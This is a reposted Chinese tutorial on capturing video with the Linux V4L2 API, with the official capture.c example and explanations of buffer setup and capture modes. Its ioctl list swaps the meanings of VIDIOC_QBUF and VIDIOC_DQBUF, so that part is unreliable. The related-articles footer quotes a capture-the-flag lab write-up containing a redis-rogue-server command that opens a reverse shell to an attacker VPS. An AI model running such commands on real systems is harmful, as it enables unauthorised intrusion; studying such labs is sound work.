基于v4l2框架应用层的摄像头梳理

news/2024/9/12 15:19:34/文章来源:https://www.cnblogs.com/regret20-21/p/18279543

------------恢复内容开始------------

# 1.官方的测试程序 ### 代码路径 media/v4l/capture.c
点击查看代码
/**  V4L2 video capture example**  This program can be used and distributed without restrictions.
#  **      This program is provided with the V4L2 API* see https://linuxtv.org/docs.php for more information*/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>#include <getopt.h>             /* getopt_long() */#include <fcntl.h>              /* low-level i/o */
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/ioctl.h>#include <linux/videodev2.h>#define CLEAR(x) memset(&(x), 0, sizeof(x))enum io_method {IO_METHOD_READ,IO_METHOD_MMAP,IO_METHOD_USERPTR,
};struct buffer {void   *start;size_t  length;
};static char            *dev_name;
static enum io_method   io = IO_METHOD_MMAP;
static int              fd = -1;
struct buffer          *buffers;
static unsigned int     n_buffers;
static int              out_buf;
static int              force_format;
static int              frame_count = 70;static void errno_exit(const char *s)
{fprintf(stderr, "%s error %d, %s\\n", s, errno, strerror(errno));exit(EXIT_FAILURE);
}static int xioctl(int fh, int request, void *arg)
{int r;do {r = ioctl(fh, request, arg);} while (-1 == r && EINTR == errno);return r;
}static void process_image(const void *p, int size)
{if (out_buf)fwrite(p, size, 1, stdout);fflush(stderr);fprintf(stderr, ".");fflush(stdout);
}static int read_frame(void)
{struct v4l2_buffer buf;unsigned int i;switch (io) {case IO_METHOD_READ:if (-1 == read(fd, buffers[0].start, buffers[0].length)) {switch (errno) {case EAGAIN:return 0;case EIO:/* Could ignore EIO, see spec. *//* fall through */default:errno_exit("read");}}process_image(buffers[0].start, buffers[0].length);break;case IO_METHOD_MMAP:CLEAR(buf);buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;buf.memory = V4L2_MEMORY_MMAP;if (-1 == xioctl(fd, VIDIOC_DQBUF, &buf)) {switch (errno) {case EAGAIN:return 0;case EIO:/* Could ignore EIO, see spec. *//* fall through */default:errno_exit("VIDIOC_DQBUF");}}assert(buf.index < n_buffers);process_image(buffers[buf.index].start, buf.bytesused);if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))errno_exit("VIDIOC_QBUF");break;case IO_METHOD_USERPTR:CLEAR(buf);buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;buf.memory = V4L2_MEMORY_USERPTR;if (-1 == xioctl(fd, VIDIOC_DQBUF, &buf)) {switch (errno) {case EAGAIN:return 0;case EIO:/* Could ignore EIO, see spec. *//* fall through */default:errno_exit("VIDIOC_DQBUF");}}for (i = 0; i < n_buffers; ++i)if (buf.m.userptr == (unsigned long)buffers[i].start&& buf.length == buffers[i].length)break;assert(i < n_buffers);process_image((void *)buf.m.userptr, buf.bytesused);if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))errno_exit("VIDIOC_QBUF");break;}return 1;
}static void mainloop(void)
{unsigned int count;count = frame_count;while (count-- > 0) {for (;;) {fd_set fds;struct timeval tv;int r;FD_ZERO(&fds);FD_SET(fd, &fds);/* Timeout. */tv.tv_sec = 2;tv.tv_usec = 0;r = select(fd + 1, &fds, NULL, NULL, &tv);if (-1 == r) {if (EINTR == errno)continue;errno_exit("select");}if (0 == r) {fprintf(stderr, "select timeout\\n");exit(EXIT_FAILURE);}if (read_frame())break;/* EAGAIN - continue select loop. */}}
}static void stop_capturing(void)
{enum v4l2_buf_type type;switch (io) {case IO_METHOD_READ:/* Nothing to do. */break;case IO_METHOD_MMAP:case IO_METHOD_USERPTR:type = V4L2_BUF_TYPE_VIDEO_CAPTURE;if (-1 == xioctl(fd, VIDIOC_STREAMOFF, &type))errno_exit("VIDIOC_STREAMOFF");break;}
}static void start_capturing(void)
{unsigned int i;enum v4l2_buf_type type;switch (io) {case IO_METHOD_READ:/* Nothing to do. */break;case IO_METHOD_MMAP:for (i = 0; i < n_buffers; ++i) {struct v4l2_buffer buf;CLEAR(buf);buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;buf.memory = V4L2_MEMORY_MMAP;buf.index = i;if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))errno_exit("VIDIOC_QBUF");}type = V4L2_BUF_TYPE_VIDEO_CAPTURE;if (-1 == xioctl(fd, VIDIOC_STREAMON, &type))errno_exit("VIDIOC_STREAMON");break;case IO_METHOD_USERPTR:for (i = 0; i < n_buffers; ++i) {struct v4l2_buffer buf;CLEAR(buf);buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;buf.memory = V4L2_MEMORY_USERPTR;buf.index = i;buf.m.userptr = (unsigned long)buffers[i].start;buf.length = buffers[i].length;if (-1 == xioctl(fd, VIDIOC_QBUF, &buf))errno_exit("VIDIOC_QBUF");}type = V4L2_BUF_TYPE_VIDEO_CAPTURE;if (-1 == xioctl(fd, VIDIOC_STREAMON, &type))errno_exit("VIDIOC_STREAMON");break;}
}static void uninit_device(void)
{unsigned int i;switch (io) {case IO_METHOD_READ:free(buffers[0].start);break;case IO_METHOD_MMAP:for (i = 0; i < n_buffers; ++i)if (-1 == munmap(buffers[i].start, buffers[i].length))errno_exit("munmap");break;case IO_METHOD_USERPTR:for (i = 0; i < n_buffers; ++i)free(buffers[i].start);break;}free(buffers);
}static void init_read(unsigned int buffer_size)
{buffers = calloc(1, sizeof(*buffers));if (!buffers) {fprintf(stderr, "Out of memory\\n");exit(EXIT_FAILURE);}buffers[0].length = buffer_size;buffers[0].start = malloc(buffer_size);if (!buffers[0].start) {fprintf(stderr, "Out of memory\\n");exit(EXIT_FAILURE);}
}static void init_mmap(void)
{struct v4l2_requestbuffers req;CLEAR(req);req.count = 4;req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;req.memory = V4L2_MEMORY_MMAP;if (-1 == xioctl(fd, VIDIOC_REQBUFS, &req)) {if (EINVAL == errno) {fprintf(stderr, "%s does not support ""memory mappingn", dev_name);exit(EXIT_FAILURE);} else {errno_exit("VIDIOC_REQBUFS");}}if (req.count < 2) {fprintf(stderr, "Insufficient buffer memory on %s\\n",dev_name);exit(EXIT_FAILURE);}buffers = calloc(req.count, sizeof(*buffers));if (!buffers) {fprintf(stderr, "Out of memory\\n");exit(EXIT_FAILURE);}for (n_buffers = 0; n_buffers < req.count; ++n_buffers) {struct v4l2_buffer buf;CLEAR(buf);buf.type        = V4L2_BUF_TYPE_VIDEO_CAPTURE;buf.memory      = V4L2_MEMORY_MMAP;buf.index       = n_buffers;if (-1 == xioctl(fd, VIDIOC_QUERYBUF, &buf))errno_exit("VIDIOC_QUERYBUF");buffers[n_buffers].length = buf.length;buffers[n_buffers].start =mmap(NULL /* start anywhere */,buf.length,PROT_READ | PROT_WRITE /* required */,MAP_SHARED /* recommended */,fd, buf.m.offset);if (MAP_FAILED == buffers[n_buffers].start)errno_exit("mmap");}
}static void init_userp(unsigned int buffer_size)
{struct v4l2_requestbuffers req;CLEAR(req);req.count  = 4;req.type   = V4L2_BUF_TYPE_VIDEO_CAPTURE;req.memory = V4L2_MEMORY_USERPTR;if (-1 == xioctl(fd, VIDIOC_REQBUFS, &req)) {if (EINVAL == errno) {fprintf(stderr, "%s does not support ""user pointer i/on", dev_name);exit(EXIT_FAILURE);} else {errno_exit("VIDIOC_REQBUFS");}}buffers = calloc(4, sizeof(*buffers));if (!buffers) {fprintf(stderr, "Out of memory\\n");exit(EXIT_FAILURE);}for (n_buffers = 0; n_buffers < 4; ++n_buffers) {buffers[n_buffers].length = buffer_size;buffers[n_buffers].start = malloc(buffer_size);if (!buffers[n_buffers].start) {fprintf(stderr, "Out of memory\\n");exit(EXIT_FAILURE);}}
}static void init_device(void)
{struct v4l2_capability cap;struct v4l2_cropcap cropcap;struct v4l2_crop crop;struct v4l2_format fmt;unsigned int min;if (-1 == xioctl(fd, VIDIOC_QUERYCAP, &cap)) {if (EINVAL == errno) {fprintf(stderr, "%s is no V4L2 device\\n",dev_name);exit(EXIT_FAILURE);} else {errno_exit("VIDIOC_QUERYCAP");}}if (!(cap.capabilities & V4L2_CAP_VIDEO_CAPTURE)) {fprintf(stderr, "%s is no video capture device\\n",dev_name);exit(EXIT_FAILURE);}switch (io) {case IO_METHOD_READ:if (!(cap.capabilities & V4L2_CAP_READWRITE)) {fprintf(stderr, "%s does not support read i/o\\n",dev_name);exit(EXIT_FAILURE);}break;case IO_METHOD_MMAP:case IO_METHOD_USERPTR:if (!(cap.capabilities & V4L2_CAP_STREAMING)) {fprintf(stderr, "%s does not support streaming i/o\\n",dev_name);exit(EXIT_FAILURE);}break;}/* Select video input, video standard and tune here. */CLEAR(cropcap);cropcap.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;if (0 == xioctl(fd, VIDIOC_CROPCAP, &cropcap)) {crop.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;crop.c = cropcap.defrect; /* reset to default */if (-1 == xioctl(fd, VIDIOC_S_CROP, &crop)) {switch (errno) {case EINVAL:/* Cropping not supported. */break;default:/* Errors ignored. */break;}}} else {/* Errors ignored. */}CLEAR(fmt);fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;if (force_format) {fmt.fmt.pix.width       = 640;fmt.fmt.pix.height      = 480;fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_YUYV;fmt.fmt.pix.field       = V4L2_FIELD_INTERLACED;if (-1 == xioctl(fd, VIDIOC_S_FMT, &fmt))errno_exit("VIDIOC_S_FMT");/* Note VIDIOC_S_FMT may change width and height. */} else {/* Preserve original settings as set by v4l2-ctl for example */if (-1 == xioctl(fd, VIDIOC_G_FMT, &fmt))errno_exit("VIDIOC_G_FMT");}/* Buggy driver paranoia. */min = fmt.fmt.pix.width * 2;if (fmt.fmt.pix.bytesperline < min)fmt.fmt.pix.bytesperline = min;min = fmt.fmt.pix.bytesperline * fmt.fmt.pix.height;if (fmt.fmt.pix.sizeimage < min)fmt.fmt.pix.sizeimage = min;switch (io) {case IO_METHOD_READ:init_read(fmt.fmt.pix.sizeimage);break;case IO_METHOD_MMAP:init_mmap();break;case IO_METHOD_USERPTR:init_userp(fmt.fmt.pix.sizeimage);break;}
}static void close_device(void)
{if (-1 == close(fd))errno_exit("close");fd = -1;
}static void open_device(void)
{struct stat st;if (-1 == stat(dev_name, &st)) {fprintf(stderr, "Cannot identify '%s': %d, %s\\n",dev_name, errno, strerror(errno));exit(EXIT_FAILURE);}if (!S_ISCHR(st.st_mode)) {fprintf(stderr, "%s is no devicen", dev_name);exit(EXIT_FAILURE);}fd = open(dev_name, O_RDWR /* required */ | O_NONBLOCK, 0);if (-1 == fd) {fprintf(stderr, "Cannot open '%s': %d, %s\\n",dev_name, errno, strerror(errno));exit(EXIT_FAILURE);}
}static void usage(FILE *fp, int argc, char **argv)
{fprintf(fp,"Usage: %s [options]\\n\\n""Version 1.3\\n""Options:\\n""-d | --device name   Video device name [%s]n""-h | --help          Print this messagen""-m | --mmap          Use memory mapped buffers [default]n""-r | --read          Use read() callsn""-u | --userp         Use application allocated buffersn""-o | --output        Outputs stream to stdoutn""-f | --format        Force format to 640x480 YUYVn""-c | --count         Number of frames to grab [%i]n""",argv[0], dev_name, frame_count);
}static const char short_options[] = "d:hmruofc:";static const struct option
long_options[] = {{ "device", required_argument, NULL, 'd' },{ "help",   no_argument,       NULL, 'h' },{ "mmap",   no_argument,       NULL, 'm' },{ "read",   no_argument,       NULL, 'r' },{ "userp",  no_argument,       NULL, 'u' },{ "output", no_argument,       NULL, 'o' },{ "format", no_argument,       NULL, 'f' },{ "count",  required_argument, NULL, 'c' },{ 0, 0, 0, 0 }
};int main(int argc, char **argv)
{dev_name = "/dev/video0";for (;;) {int idx;int c;c = getopt_long(argc, argv,short_options, long_options, &idx);if (-1 == c)break;switch (c) {case 0: /* getopt_long() flag */break;case 'd':dev_name = optarg;break;case 'h':usage(stdout, argc, argv);exit(EXIT_SUCCESS);case 'm':io = IO_METHOD_MMAP;break;case 'r':io = IO_METHOD_READ;break;case 'u':io = IO_METHOD_USERPTR;break;case 'o':out_buf++;break;case 'f':force_format++;break;case 'c':errno = 0;frame_count = strtol(optarg, NULL, 0);if (errno)errno_exit(optarg);break;default:usage(stderr, argc, argv);exit(EXIT_FAILURE);}}open_device();init_device();start_capturing();mainloop();- stop_capturing();uninit_device();close_device();fprintf(stderr, "\\n");return 0;
}

打开视频设备

// 用非阻塞模式打开摄像头设备
cameraFd = open("/dev/video0", O_RDWR | O_NONBLOCK, 0);
// 如果用阻塞模式打开摄像头设备,上述代码变为:
cameraFd = open("/dev/video0", O_RDWR, 0);
关于阻塞模式和非阻塞模式:应用程序能够使用阻塞模式或非阻塞模式打开视频设备,如果使用非阻塞模式调用视频设备,即使尚未捕获到信息,驱动依旧会把缓存(DQBUFF)里的东西返回给应用程序。
设定属性及采集方式
int ioctl (int __fd, unsigned long int __request, ...) __THROW;
在进行V4L2开发中,一般会用到以下的命令标志符:

  • VIDIOC_REQBUFS:分配内存
  • VIDIOC_QUERYBUF:把VIDIOC_REQBUFS中分配的数据缓存转换成物理地址
  • VIDIOC_QUERYCAP:查询驱动功能
  • VIDIOC_ENUM_FMT:获取当前驱动支持的视频格式
  • VIDIOC_S_FMT:设置当前驱动的频捕获格式
  • VIDIOC_G_FMT:读取当前驱动的频捕获格式
  • VIDIOC_TRY_FMT:验证当前驱动的显示格式
  • VIDIOC_CROPCAP:查询驱动的修剪能力
  • VIDIOC_S_CROP:设置视频信号的边框
  • VIDIOC_G_CROP:读取视频信号的边框
  • VIDIOC_QBUF:把数据从缓存中读取出来
  • VIDIOC_DQBUF:把数据放回缓存队列
  • VIDIOC_STREAMON:开始视频显示函数
  • VIDIOC_STREAMOFF:结束视频显示函数
  • VIDIOC_QUERYSTD:检查当前视频设备支持的标准,例如PAL或NTSC

检查当前视频设备支持的标准

ret = ioctl(fd, VIDIOC_QUERYSTD, &std);
} while (ret == -1 && errno == EAGAIN);
switch (std) {
case V4L2_STD_NTSC:
//……
case V4L2_STD_PAL:
//……
}

设置视频捕获格式

struct v4l2_format fmt;
memset ( &fmt, 0, sizeof(fmt) );
fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
fmt.fmt.pix.width = 720;
fmt.fmt.pix.height = 576;
fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_YUYV;
fmt.fmt.pix.field = V4L2_FIELD_INTERLACED;
if (ioctl(fd, VIDIOC_S_FMT, &fmt) == -1) {
return -1;
}

v4l2_format结构体定义如下:

struct v4l2_format
{
enum v4l2_buf_type type; // 数据流类型,必须永远是V4L2_BUF_TYPE_VIDEO_CAPTURE
union
{
struct v4l2_pix_format pix;
struct v4l2_window win;
struct v4l2_vbi_format vbi;
__u8 raw_data[200];
} fmt;
};
struct v4l2_pix_format
{
__u32 width; // 宽,必须是16的倍数
__u32 height; // 高,必须是16的倍数
__u32 pixelformat; // 视频数据存储类型,例如是YUV4:2:2还是RGB
enum v4l2_field field;
__u32 bytesperline;
__u32 sizeimage;
enum v4l2_colorspace colorspace;
__u32 priv;
};

分配内存

接下来可以为视频捕获分配内存:
struct v4l2_requestbuffers req;
if (ioctl(fd, VIDIOC_REQBUFS, &req) == -1) {
return -1;
}

v4l2_requestbuffers定义如下:
struct v4l2_requestbuffers
{
__u32 count; // 缓存数量,也就是说在缓存队列里保持多少张照片
enum v4l2_buf_type type; // 数据流类型,必须永远是V4L2_BUF_TYPE_VIDEO_CAPTURE
enum v4l2_memory memory; // V4L2_MEMORY_MMAP 或 V4L2_MEMORY_USERPTR
__u32 reserved[2];
};

7 获取并记录缓存的物理空间

使用VIDIOC_REQBUFS,我们获取了req.count个缓存,下一步通过调用VIDIOC_QUERYBUF命令来获取这些缓存的地址,然后使用mmap函数转换成应用程序中的绝对地址,最后把这段缓存放入缓存队列:
typedef struct VideoBuffer {
void *start;
size_t length;
} VideoBuffer;

VideoBuffer* buffers = calloc( req.count, sizeof(*buffers) );
struct v4l2_buffer buf;

for (numBufs = 0; numBufs < req.count; numBufs++) {
memset( &buf, 0, sizeof(buf) );
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
buf.index = numBufs;
// 读取缓存
if (ioctl(fd, VIDIOC_QUERYBUF, &buf) == -1) {
return -1;
}

buffers[numBufs].length = buf.length;
// 转换成相对地址
buffers[numBufs].start = mmap(NULL, buf.length,PROT_READ | PROT_WRITE,MAP_SHARED,fd, buf.m.offset);if (buffers[numBufs].start == MAP_FAILED) {return -1;
}// 放入缓存队列
if (ioctl(fd, VIDIOC_QBUF, &buf) == -1) {return -1;
}

}

8、 关于视频采集方式

一共有三种视频采集方式:

1)使用read、write方式:直接使用 read 和 write 函数进行读写。这种方式最简单,但是这种方式会在 用户空间和内核空间不断拷贝数据 ,同时在用户空间和内核空间占用 了 大量内存,效率不高。

2)内存映射方式(mmap):把设备里的内存映射到应用程序中的内存控件,直接处理设备内存,这是一种有效的方式。上面的mmap函数就是使用这种方式。

3)用户指针模式:内存由用户空间的应用程序分配,并把地址传递到内核中的驱动程序,然后由 v4l2 驱动程序直接将数据填充到用户空间的内存中。这点需要在v4l2_requestbuffers里将memory字段设置成V4L2_MEMORY_USERPTR。

第一种方式效率是最低的,后面两种方法都能提高执行的效率,但是对于mmap 方式,文档中有这样一句描述 --Remember the buffers are allocated in physical memory, as opposed to virtual memory which can be swapped out to disk. Applications should free the buffers as soon as possible with the munmap () function .(使用mmap方法的时候,buffers相当于是在内核空间中分配的,这种情况下,这些buffer是不能被交换到虚拟内存中,虽然这种方法不怎么影响读写效率,但是它一直占用着内核空间中的内存,当系统的内存有限的时候,如果同时运行有大量的进程,则对系统的整体性能会有一定的影响。)

   所以,对于三种视频采集方式的选择,推荐的顺序是 userptr 、 mmap 、 read-write 。当使用 mmap 或 userptr 方式的时候,有一个环形缓冲队列的概念,这个队列中,有 n 个 buffer ,驱动程序采集到的视频帧数据,就是存储在每个 buffer 中。在每次用 VIDIOC_DQBUF 取出一个 buffer ,并且处理完数据后,一定要用 VIDIOC_QBUF 将这个 buffer 再次放回到环形缓冲队列中。环形缓冲队列,也使得这两种视频采集方式的效率高于直接 read/write 。

9、 处理采集数据

V4L2有一个数据缓存,存放req.count数量的缓存数据。数据缓存采用FIFO的方式,当应用程序调用缓存数据时,缓存队列将最先采集到的 视频数据缓存送出,并重新采集一张视频数据。这个过程需要用到两个ioctl命令,VIDIOC_DQBUF和VIDIOC_QBUF:

struct v4l2_buffer buf;
memset(&buf,0,sizeof(buf));
buf.type=V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory=V4L2_MEMORY_MMAP;
buf.index=0;

//读取缓存
if (ioctl(cameraFd, VIDIOC_DQBUF, &buf) == -1)
{
return -1;
}
//…………视频处理算法
//重新放入缓存队列
if (ioctl(cameraFd, VIDIOC_QBUF, &buf) == -1) {

return -1;

}

------------恢复内容结束------------

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/784278.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1线性回归

一、概念 线性回归是机器学习中有监督机器学习下的一种算法。 回归问题主要关注的是因变量y(需要预测的值,可以是一个也可以是多个)和一个或多个数值型的自变量x(预测变量)之间的关系。需要预测的值:目标变量(target,y,连续值预测变量)。 影响目标变量的因素:X1..Xn…

设计模式之cglib动态代理

什么是动态代理呢?动态代理就是在java进程运行时,通过字节码技术,动态的生成某个类的代理类。在这个代理类中,我们可以做一些额外的操作,一方面仍然保持原有的方法的能力,另外一方面还增强了这些能力。听着是不是AOP有点像,没错,动态代理就是AOP的技术基石。在这之前我…

yarn 失败

1、输入yarn后,下载失败报错 connect ETIMEDOUT 10.136.33.5:8081at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1141:16)[1/4] Resolving packages... [2/4] Fetching packages... info There appears to be trouble with your network connection. Retrying... i…

AtCoder ABC 367

题解前言 本题解部分思路来自于网络,仅供参考。 A - Shout Everyday 题目大意 给定 Takahashi 每天的睡觉时间和起床时间,求 Takahashi 在 $A$ 时是睡着的还是清醒的。 解题思路 根据题意模拟即可。 code #include <bits/stdc++.h> using namespace std; int main() {i…

Ros2 MoveIt2 MoveGroup C++接口

在 MoveIt 中,最简单的用户界面是通过 MoveGroupInterface 类。 它为用户可能想要执行的大多数操作提供了易于使用的功能,特别是设置关节或姿势目标、创建运动计划、移动机器人、将对象添加到环境中以及从机器人上连接/分离对象。 此接口通过 ROS 主题、服务和操作与 MoveGro…

春秋云镜 Brute4Road

春秋云镜 Brute4Road先用fscan扫一下内网尝试打redis主从 python3 redis-rogue-server.py --rhost 39.98.122.75 --lhost 123.57.23.40 需要在vps下使用,选择r,然后输入要反弹的ip,port 使用pty获得交互式shell python -c import pty;pty.spawn("/bin/bash")尝试UID提…

【OpenCV教程】轮廓检测过程

@目录1.查找轮廓1.1 API1.2 轮廓层级检测模式:索引号(层级)RETR_EXTERNAL(索引顺序:从右下到左上)RETR_LIST(recommended)(索引顺序:从右下到左上,由外到内)RETR_CCOMP(not recommended)(索引顺序:由内到外,从右下到左上)RETR_TREE(recommended)1.3 轮廓坐标点储…

题解:P10279 [USACO24OPEN] The Winning Gene S

思路 建议升蓝。 算法一 考虑暴力。 我们先枚举 \(K,L\),考虑如何求解。 直接枚举每一个 \(K\)-mer,再枚举里面的每一个长度为 \(L\) 的子串,找到最大的子串并在起始部分打一个标记。最后直接看有几个地方被打标记就行。 时间复杂度:\(O(n^4)\)。预计能过测试点 \(1-4\)。 …

C10-02-HTML示例

HTML:02-1.html 基本功能实现:<a>和<img>标签联合使用及<img src="#"> 图片资源绝对路径引用JS使用:行内式、内嵌式、引入外部JS<input>标签:输入标签文本框<!DOCTYPE html> <html lang="en"> <head><me…

异常与中断的概念以及处理流程

1.CPU理解的中断CPU 在运行的过程中,也会被各种“异常”打断。这些“异常”有:指令未定义 指令、数据访问异常 SWI(软中断) 快中断 中断中断也是 “异常” 的一种,导致中断发生的情况有按键 定时器 ADC转换完成 uart 发送完数据,收到收据 等等 这些众多的“中断源”,汇集到…

wifi基础(一):无线电波与WIFI信号干扰、衰减

liwen01 2024.08.18 前言 无论是在产品开发还是在日常生活中,在使用无线网络的时候,都会经常遇到一些信号不好的问题,也会产生不少疑问:为什么我们在高速移动的高铁上网络会变慢? 为什么 5G WiFi 的穿墙能力没有 2.4G 的好? 为什么在对 WiFi 进行 iperf 拉距测试的时候,…

监理单位项目管理系统:选择前你必须知道的事

国内外主流的 10 款监理单位项目管理系统对比:PingCode、Worktile、Primavera P6、Microsoft Project、Wrike、Asana、Trello、红圈、泛微项目协同工具、广联达。在寻找适合监理单位的项目管理系统时,许多专业人士面临着复杂性和成本效益的双重挑战。一个好的系统不仅需要具备…